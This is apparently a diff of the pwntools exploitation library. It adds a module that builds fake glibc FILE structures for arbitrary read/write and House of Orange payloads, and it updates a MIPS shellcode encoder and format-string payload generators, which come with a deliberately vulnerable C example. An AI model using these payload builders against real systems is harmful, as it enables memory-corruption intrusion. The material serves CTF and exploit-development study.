+    b'\x01\x11\x18\x26',    # xor    v1,t0,s1
+    b'\x02\xee\xf0\x2b',    # sltu   s8,s7,t6
+    b'\xaf\x23\xff\xfc',    # sw v1,-4(t9)
+    b'\x14\x1e\xff\xfa',    # bne    zero,s8,3c <loop>
+    b'\x03\x2c\xc8\x21',    # addu   t9,t9,t4
+    b'\x21\x86\xff\xfd',    # addi   a2,t4,-3
+    b'\xaf\xa6\xff\xf8',    # sw a2,-8(sp)
+    b'\x01\xce\x28\x26',    # xor    a1,t6,t6
+    b'\xaf\xa5\xff\xfc',    # sw a1,-4(sp)
+    b'\x27\xa4\xff\xf8',    # addiu  a0,sp,-8
+    b'\x24\x02\x10\x46',    # li v0,4166
+    b'\x01\x4a\x54\x0c'    # syscall 0x52950
     ])
 }
 
@@ -104,7 +105,7 @@ class MipsXorEncoder(Encoder):
 
     >>> context.clear(arch='mips')
     >>> shellcode = asm(shellcraft.sh())
-    >>> avoid = '/bin/sh\x00'
+    >>> avoid = b'/bin/sh\x00'
     >>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
     >>> assert not any(c in encoded for c in avoid)
     >>> p = run_shellcode(encoded)
@@ -114,7 +115,7 @@ class MipsXorEncoder(Encoder):
     """
 
     arch = 'mips'
-    blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))
+    blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))
 
     def __call__(self, raw_bytes, avoid, pcreg=''):
 
@@ -127,9 +128,9 @@ class MipsXorEncoder(Encoder):
         sizelo = size & 0xff
         sizehi = size >> 8
 
-        decoder = str(decoders[context.endian])
-        decoder = decoder.replace('SIZ1', chr(sizehi))
-        decoder = decoder.replace('SIZ2', chr(sizelo))
+        decoder = decoders[context.endian]
+        decoder = decoder.replace(b'SIZ1', six.int2byte(sizehi))
+        decoder = decoder.replace(b'SIZ2', six.int2byte(sizelo))
 
         key, data = xor_key(raw_bytes, avoid=avoid)
 

pwnlib/filepointer.py

@@ -0,0 +1,338 @@
+# -*- coding: utf-8 -*-
+
+r"""
+File Structure Exploitation
+
+struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
+
+Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
+
+>>> context.clear(arch='amd64')
+>>> fileStr = FileStructure(null=0xdeadbeef)
+>>> fileStr.vtable = 0xcafebabe
+>>> payload = bytes(fileStr)
+>>> payload
+b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
+
+Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
+
+Currently only 'amd64' and 'i386' architectures are supported
+"""
+
+from __future__ import absolute_import
+from __future__ import division
+
+from pwnlib.context import context
+from pwnlib.log import getLogger
+from pwnlib.util.packing import pack
+
+log = getLogger(__name__)
+
+length=0
+size='size'
+name='name'
+
+variables={
+    0:{name:'flags',size:length},
+    1:{name:'_IO_read_ptr',size:length},
+    2:{name:'_IO_read_end',size:length},
+    3:{name:'_IO_read_base',size:length},
+    4:{name:'_IO_write_base',size:length},
+    5:{name:'_IO_write_ptr',size:length},
+    6:{name:'_IO_write_end',size:length},
+    7:{name:'_IO_buf_base',size:length},
+    8:{name:'_IO_buf_end',size:length},
+    9:{name:'_IO_save_base',size:length},
+    10:{name:'_IO_backup_base',size:length},
+    11:{name:'_IO_save_end',size:length},
+    12:{name:'markers',size:length},
+    13:{name:'chain',size:length},
+    14:{name:'fileno',size:4},
+    15:{name:'_flags2',size:4},
+    16:{name:'_old_offset',size:length},
+    17:{name:'_cur_column',size:2},
+    18:{name:'_vtable_offset',size:1},
+    19:{name:'_shortbuf',size:1},
+    20:{name:'unknown1',size:-4},
+    21:{name:'_lock',size:length},
+    22:{name:'_offset',size:8},
+    23:{name:'_codecvt',size:length},
+    24:{name:'_wide_data',size:length},
+    25:{name:'unknown2',size:length},
+    26:{name:'vtable',size:length}
+}
+
+
+def update_var(l):
+    r"""
+    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
+
+    Arguments:
+        l(int)
+            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
+
+    Return Value:
+        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
+
+    Examples:
+
+        >>> update_var(8)
+        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
+    """
+    var={}
+    for i in variables:
+        var[variables[i]['name']]=variables[i]['size']
+    for i in var:
+        if var[i]<=0:
+            var[i]+=l
+    if l==4:
+        var['unknown2']=56
+    else:
+        var['unknown2']=48
+    return var
+
+class FileStructure(object):
+    r"""
+    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
+
+    Arguments:
+        null(int)
+            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
+
+    Examples:
+
+        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
+
+        >>> context.clear(arch='amd64')
+        >>> fileStr = FileStructure(null=0xdeadbeeef)
+        >>> fileStr.flags = 0xfbad1807
+        >>> fileStr._IO_buf_base = 0xcafebabe
+        >>> fileStr._IO_buf_end = 0xfacef00d
+        >>> payload = bytes(fileStr)
+        >>> payload
+        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+        Check the length of the FileStructure
+
+        >>> len(fileStr)
+        224
+
+        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
+
+        >>> q=FileStructure(0xdeadbeef)
+        >>> q
+        { flags: 0x0
+         _IO_read_ptr: 0x0
+         _IO_read_end: 0x0
+         _IO_read_base: 0x0
+         _IO_write_base: 0x0
+         _IO_write_ptr: 0x0
+         _IO_write_end: 0x0
+         _IO_buf_base: 0x0
+         _IO_buf_end: 0x0
+         _IO_save_base: 0x0
+         _IO_backup_base: 0x0
+         _IO_save_end: 0x0
+         markers: 0x0
+         chain: 0x0
+         fileno: 0x0
+         _flags2: 0x0
+         _old_offset: 0xffffffffffffffff
+         _cur_column: 0x0
+         _vtable_offset: 0x0
+         _shortbuf: 0x0
+         unknown1: 0x0
+         _lock: 0xdeadbeef
+         _offset: 0xffffffffffffffff
+         _codecvt: 0x0
+         _wide_data: 0xdeadbeef
+         unknown2: 0x0
+         vtable: 0x0}
+    """
+
+    vars_=[]
+    length={}
+
+    def __init__(self, null=0):
+            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
+            self.setdefault(null)
+            self.length = update_var(context.bytes)
+            self._old_offset = (1 << context.bits) - 1
+
+    def __setattr__(self,item,value):
+        if item in FileStructure.__dict__ or item in self.vars_:
+            object.__setattr__(self,item,value)
+        else:
+            log.error("Unknown variable %r" % item)
+
+    def __repr__(self):
+        structure=[]
+        for i in self.vars_:
+            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
+        return "{"+ "\n".join(structure)+"}"
+
+    def __getattr__(self,item):
+        if item in FileStructure.__dict__ or item in self.vars_:
+            return object.__getattribute__(self,item)
+        log.error("Unknown variable %r" % item)
+
+    def __len__(self):
+        return len(bytes(self))
+
+    def __bytes__(self):
+        structure = b''
+        for val in self.vars_:
+            if isinstance(self.__getattr__(val), bytes):
+                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
+            else:
+                structure += pack(self.__getattr__(val), self.length[val]*8)
+        return structure
+    __str__ = __bytes__
+
+    def struntil(self,v):
+        r"""
+        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
+
+        Arguments:
+            v(string)
+                The name of the field uptil which the payload should be created.
+
+        Example:
+
+            Payload for data uptil _IO_buf_end
+
+            >>> context.clear(arch='amd64')
+            >>> fileStr = FileStructure(0xdeadbeef)
+            >>> payload = fileStr.struntil("_IO_buf_end")
+            >>> payload
+            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        """
+        if v not in self.vars_:
+            return b''
+        structure = b''
+        for val in self.vars_:
+            if isinstance(self.__getattr__(val), bytes):
+                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
+            else:
+                structure += pack(self.__getattr__(val), self.length[val]*8)
+            if val == v:
+                break
+        return structure[:-1]
+
+    def setdefault(self,null):
+            self.flags=0
+            self._IO_read_ptr=0
+            self._IO_read_end=0
+            self._IO_read_base=0
+            self._IO_write_base=0
+            self._IO_write_ptr=0
+            self._IO_write_end=0
+            self._IO_buf_base=0
+            self._IO_buf_end=0
+            self._IO_save_base=0
+            self._IO_backup_base=0
+            self._IO_save_end=0
+            self.markers=0
+            self.chain=0
+            self.fileno=0
+            self._flags2=0
+            self._old_offset=0
+            self._cur_column=0
+            self._vtable_offset=0
+            self._shortbuf=0
+            self.unknown1=0
+            self._lock=null
+            self._offset=0xffffffffffffffff
+            self._codecvt=0
+            self._wide_data=null
+            self.unknown2=0
+            self.vtable=0
+
+    def write(self,addr=0,size=0):
+        r"""
+        Writing data out from arbitrary memory address.
+
+        Arguments:
+            addr(int)
+                The address from which data is to be printed to stdout
+            size(int)
+                The size, in bytes, of the data to be printed
+
+        Example:
+
+            Payload for writing 100 bytes to stdout from the address 0xcafebabe
+
+            >>> context.clear(arch='amd64')
+            >>> fileStr = FileStructure(0xdeadbeef)
+            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
+            >>> payload
+            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
+        """
+        self.flags &=~8
+        self.flags |=0x800
+        self._IO_write_base = addr
+        self._IO_write_ptr = addr+size
+        self._IO_read_end = addr
+        self.fileno = 1
+        return self.struntil('fileno')
+
+    def read(self,addr=0,size=0):
+        r"""
+        Reading data into arbitrary memory location.
+
+        Arguments:
+            addr(int)
+                The address into which data is to be written from stdin
+            size(int)
+                The size, in bytes, of the data to be written
+
+        Example:
+
+            Payload for reading 100 bytes from stdin into the address 0xcafebabe
+
+            >>> context.clear(arch='amd64')
+            >>> fileStr = FileStructure(0xdeadbeef)
+            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
+            >>> payload
+            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        """
+        self.flags &=~4
+        self._IO_read_base = 0
+        self._IO_read_ptr = 0
+        self._IO_buf_base = addr
+        self._IO_buf_end = addr+size
+        self.fileno = 0
+        return self.struntil('fileno')
+
+    def orange(self,io_list_all,vtable):
+        r"""
+        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
+
+        Arguments:
+            io_list_all(int)
+                Address of _IO_list_all in libc.
+            vtable(int)
+                Address of the fake vtable in memory
+
+        Example:
+
+            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
+
+            >>> context.clear(arch='amd64')
+            >>> fileStr = FileStructure(0xdeadbeef)
+            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
+            >>> payload
+            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
+        """
+        if context.bits == 64:
+            self.flags = b'/bin/sh\x00'
+            self._IO_read_ptr = 0x61
+            self._IO_read_base = io_list_all-0x10
+        elif context.bits == 32:
+            self.flags = b'sh\x00'
+            self._IO_read_ptr = 0x121
+            self._IO_read_base = io_list_all-0x8
+        self._IO_write_base = 0
+        self._IO_write_ptr = 1
+        self.vtable = vtable
+        return self.__bytes__()

pwnlib/flag/flag.py

@@ -50,7 +50,7 @@ def submit_flag(flag,
         >>> _ = submit_flag('flag', server='localhost', port=l.lport)
         >>> c = l.wait_for_connection()
         >>> c.recvall().split()
-        ['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
+        [b'flag', b'unnamed-exploit', b'unknown-target', b'unknown-team']
     """
     flag = flag.strip()
 

pwnlib/fmtstr.py

@@ -1,38 +1,39 @@
 r"""
 Provide some tools to exploit format string bug
 
-Examples:
+Let's use this program as an example:
 
-    >>> program = tempfile.mktemp()
-    >>> source  = program + ".c"
-    >>> write(source, '''
-    ... #include <stdio.h>
-    ... #include <stdlib.h>
-    ... #include <unistd.h>
-    ... #include <sys/mman.h>
-    ... #define MEMORY_ADDRESS ((void*)0x11111000)
-    ... #define MEMORY_SIZE 1024
-    ... #define TARGET ((int *) 0x11111110)
-    ... int main(int argc, char const *argv[])
-    ... {
-    ...        char buff[1024];
-    ...        void *ptr = NULL;
-    ...        int *my_var = TARGET;
-    ...        ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
-    ...        if(ptr != MEMORY_ADDRESS)
-    ...        {
-    ...                perror("mmap");
-    ...                return EXIT_FAILURE;
-    ...        }
-    ...        *my_var = 0x41414141;
-    ...        write(1, &my_var, sizeof(int *));
-    ...        scanf("%s", buff);
-    ...        dprintf(2, buff);
-    ...        write(1, my_var, sizeof(int));
-    ...        return 0;
-    ... }''')
-    >>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
-    >>> process(cmdline).wait_for_close()
+::
+
+    #include <stdio.h>
+    #include <stdlib.h>
+    #include <unistd.h>
+    #include <sys/mman.h>
+    #define MEMORY_ADDRESS ((void*)0x11111000)
+    #define MEMORY_SIZE 1024
+    #define TARGET ((int *) 0x11111110)
+    int main(int argc, char const *argv[])
+    {
+           char buff[1024];
+           void *ptr = NULL;
+           int *my_var = TARGET;
+           ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
+           if(ptr != MEMORY_ADDRESS)
+           {
+                   perror("mmap");
+                   return EXIT_FAILURE;
+           }
+           *my_var = 0x41414141;
+           write(1, &my_var, sizeof(int *));
+           scanf("%s", buff);
+           dprintf(2, buff);
+           write(1, my_var, sizeof(int));
+           return 0;
+    }
+
+We can automate the exploitation of the process like so:
+
+    >>> program = pwnlib.data.elf.fmtstr.get('i386')
     >>> def exec_fmt(payload):
     ...     p = process(program)
     ...     p.sendline(payload)
@@ -245,9 +246,9 @@ class AtomWrite(object):
         Combine adjacent writes into a single write.
 
         Example:
-        >>> context.clear(endian = "little")
-        >>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
-        AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)
+            >>> context.clear(endian = "little")
+            >>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
+            AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
         """
         assert other.start == self.end, "writes to combine must be continous"
         if context.endian == "little":
@@ -777,22 +778,22 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
 
     Examples:
         >>> context.clear(arch = 'amd64')
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
         b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
         b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
         b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
         >>> context.clear(arch = 'i386')
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
         b'%322419390c%5$na\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
         b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
+        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
         b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
+        >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
         b'%1c%3$na\x00\x00\x00\x00'
-        >>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')))
+        >>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
         b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
     """
     sz = WRITE_SIZE[write_size]
@@ -834,15 +835,6 @@ class FmtStr(object):
     """
 
     def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
-        """
-        Instantiates an object which try to automating exploit the vulnerable process
-
-        Arguments:
-            execute_fmt(function): function to call for communicate with the vulnerable process
-            offset(int): the first formatter's offset you control
-            padlen(int): size of the pad you want to add before the payload
-            numbwritten(int): number of already written bytes
-        """
         self.execute_fmt = execute_fmt
         self.offset = offset
         self.padlen = padlen
@@ -857,7 +849,8 @@ class FmtStr(object):
         self.leaker = MemLeak(self._leaker)
 
     def leak_stack(self, offset, prefix=b""):
-        leak = self.execute_fmt(prefix + b"START%%%d$pEND" % offset)
+        payload = b"START%%%d$pEND" % offset
+        leak = self.execute_fmt(prefix + payload)
         try:
             leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
             leak = int(leak, 16)
@@ -871,7 +864,7 @@ class FmtStr(object):
             leak = self.leak_stack(off, marker)
             leak = pack(leak)
 
-            pad = cyclic_find(leak)
+            pad = cyclic_find(leak[:4])
             if pad >= 0 and pad < 20:
                 return off, pad
         else:
@@ -888,7 +881,10 @@ class FmtStr(object):
         if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
             return b"\x7f"
 
-        fmtstr = randoms(self.padlen).encode() + pack(addr) + b"START%%%d$sEND" % self.offset
+        fmtstr = fit({
+          self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
+          16 + self.padlen: addr
+        })
 
         leak = self.execute_fmt(fmtstr)
         leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]

pwnlib/gdb.py

@@ -67,7 +67,7 @@ which is intended to prevent processes from debugging eachother unless there is
 a direct parent-child relationship.
 
 This causes some issues with the normal Pwntools workflow, since the process
-heirarchy looks like this:
+hierarchy looks like this:
 
 ::
 
@@ -110,6 +110,7 @@ from pwnlib.asm import make_elf_from_assembly
 from pwnlib.context import LocalContext
 from pwnlib.context import context
 from pwnlib.log import getLogger
+from pwnlib.timeout import Timeout
 from pwnlib.util import misc
 from pwnlib.util import proc
 
@@ -136,12 +137,10 @@ def debug_assembly(asm, gdbscript=None, vma=None):
 
     Example:
 
-        .. code-block:: python
-
-            assembly = shellcraft.echo("Hello world!\n")
-            io = gdb.debug_assembly(assembly)
-            io.recvline()
-            # 'Hello world!'
+    >>> assembly = shellcraft.echo("Hello world!\n")
+    >>> io = gdb.debug_assembly(assembly)
+    >>> io.recvline()
+    b'Hello world!\n'
     """
     tmp_elf = make_elf_from_assembly(asm, vma=vma, extract=False)
     os.chmod(tmp_elf, 0o777)
@@ -157,7 +156,7 @@ def debug_assembly(asm, gdbscript=None, vma=None):
 
 @LocalContext
 def debug_shellcode(data, gdbscript=None, vma=None):
-    r"""
+    r"""debug_shellcode(data, gdbscript=None, vma=None) -> tube
     Creates an ELF file, and launches it under a debugger.
 
     Arguments:
@@ -171,13 +170,11 @@ def debug_shellcode(data, gdbscript=None, vma=None):
 
     Example:
 
-        .. code-block:: python
-
-            assembly = shellcraft.echo("Hello world!\n")
-            shellcode = asm(assembly)
-            io = gdb.debug_shellcode(shellcode)
-            io.recvline()
-            # 'Hello world!'
+    >>> assembly = shellcraft.echo("Hello world!\n")
+    >>> shellcode = asm(assembly)
+    >>> io = gdb.debug_shellcode(shellcode)
+    >>> io.recvline()
+    b'Hello world!\n'
     """
     if isinstance(data, six.text_type):
         log.error("Shellcode is cannot be unicode.  Did you mean debug_assembly?")
@@ -193,8 +190,8 @@ def debug_shellcode(data, gdbscript=None, vma=None):
 
     return debug(tmp_elf, gdbscript=gdbscript, arch=context.arch)
 
-def _gdbserver_args(pid=None, path=None, args=None, which=None):
-    """_gdbserver_args(pid=None, path=None) -> list
+def _gdbserver_args(pid=None, path=None, args=None, which=None, env=None):
+    """_gdbserver_args(pid=None, path=None, args=None, which=None, env=None) -> list
 
     Sets up a listening gdbserver, to either connect to the specified
     PID, or launch the specified binary by its full path.
@@ -240,6 +237,14 @@ def _gdbserver_args(pid=None, path=None, args=None, which=None):
     if pid:
         gdbserver_args += ['--once', '--attach']
 
+    if env:
+        env_args = []
+        for key in tuple(env):
+            if key.startswith('LD_'): # LD_PRELOAD / LD_LIBRARY_PATH etc.
+                env_args.append('{}={}'.format(key, env.pop(key)))
+        if env_args:
+            gdbserver_args += ['--wrapper', 'env'] + env_args + ['--']
+
     gdbserver_args += ['localhost:0']
     gdbserver_args += args
 
@@ -296,8 +301,7 @@ def _get_runner(ssh=None):
 
 @LocalContext
 def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kwargs):
-    """debug(args) -> tube
-
+    r"""
     Launch a GDB server with the specified command line,
     and launches GDB to attach to it.
 
@@ -345,68 +349,59 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
 
     Examples:
 
-        .. code-block:: python
+    >>> # Create a new process, and stop it at 'main'
+    >>> io = gdb.debug('bash', '''
+    ... break main
+    ... continue
+    ... ''')
+    >>> # Send a command to Bash
+    >>> io.sendline("echo hello")
+    >>> io.recvline()
+    b'hello\n'
+    >>> # Interact with the process
+    >>> io.interactive() # doctest: +SKIP
+    >>> io.close()
 
-            # Create a new process, and stop it at 'main'
-            io = gdb.debug('bash', '''
-            break main
-            continue
-            ''')
+    >>> # Create a new process, and stop it at '_start'
+    >>> io = gdb.debug('bash', '''
+    ... # Wait until we hit the main executable's entry point
+    ... break _start
+    ... continue
+    ...
+    ... # Now set breakpoint on shared library routines
+    ... break malloc
+    ... break free
+    ... continue
+    ... ''')
+    >>> # Send a command to Bash
+    >>> io.sendline("echo hello")
+    >>> io.recvline()
+    b'hello\n'
+    >>> # Interact with the process
+    >>> io.interactive() # doctest: +SKIP
+    >>> io.close()
 
-            # Send a command to Bash
-            io.sendline("echo hello")
+    You can use :func:`debug` to spawn new processes on remote machines as well,
+    by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
 
-            # Interact with the process
-            io.interactive()
-
-        .. code-block:: python
-
-            # Create a new process, and stop it at 'main'
-            io = gdb.debug('bash', '''
-            # Wait until we hit the main executable's entry point
-            break _start
-            continue
-
-            # Now set breakpoint on shared library routines
-            break malloc
-            break free
-            continue
-            ''')
-
-            # Send a command to Bash
-            io.sendline("echo hello")
-
-            # Interact with the process
-            io.interactive()
-
-        You can use :func:`debug` to spawn new processes on remote machines as well,
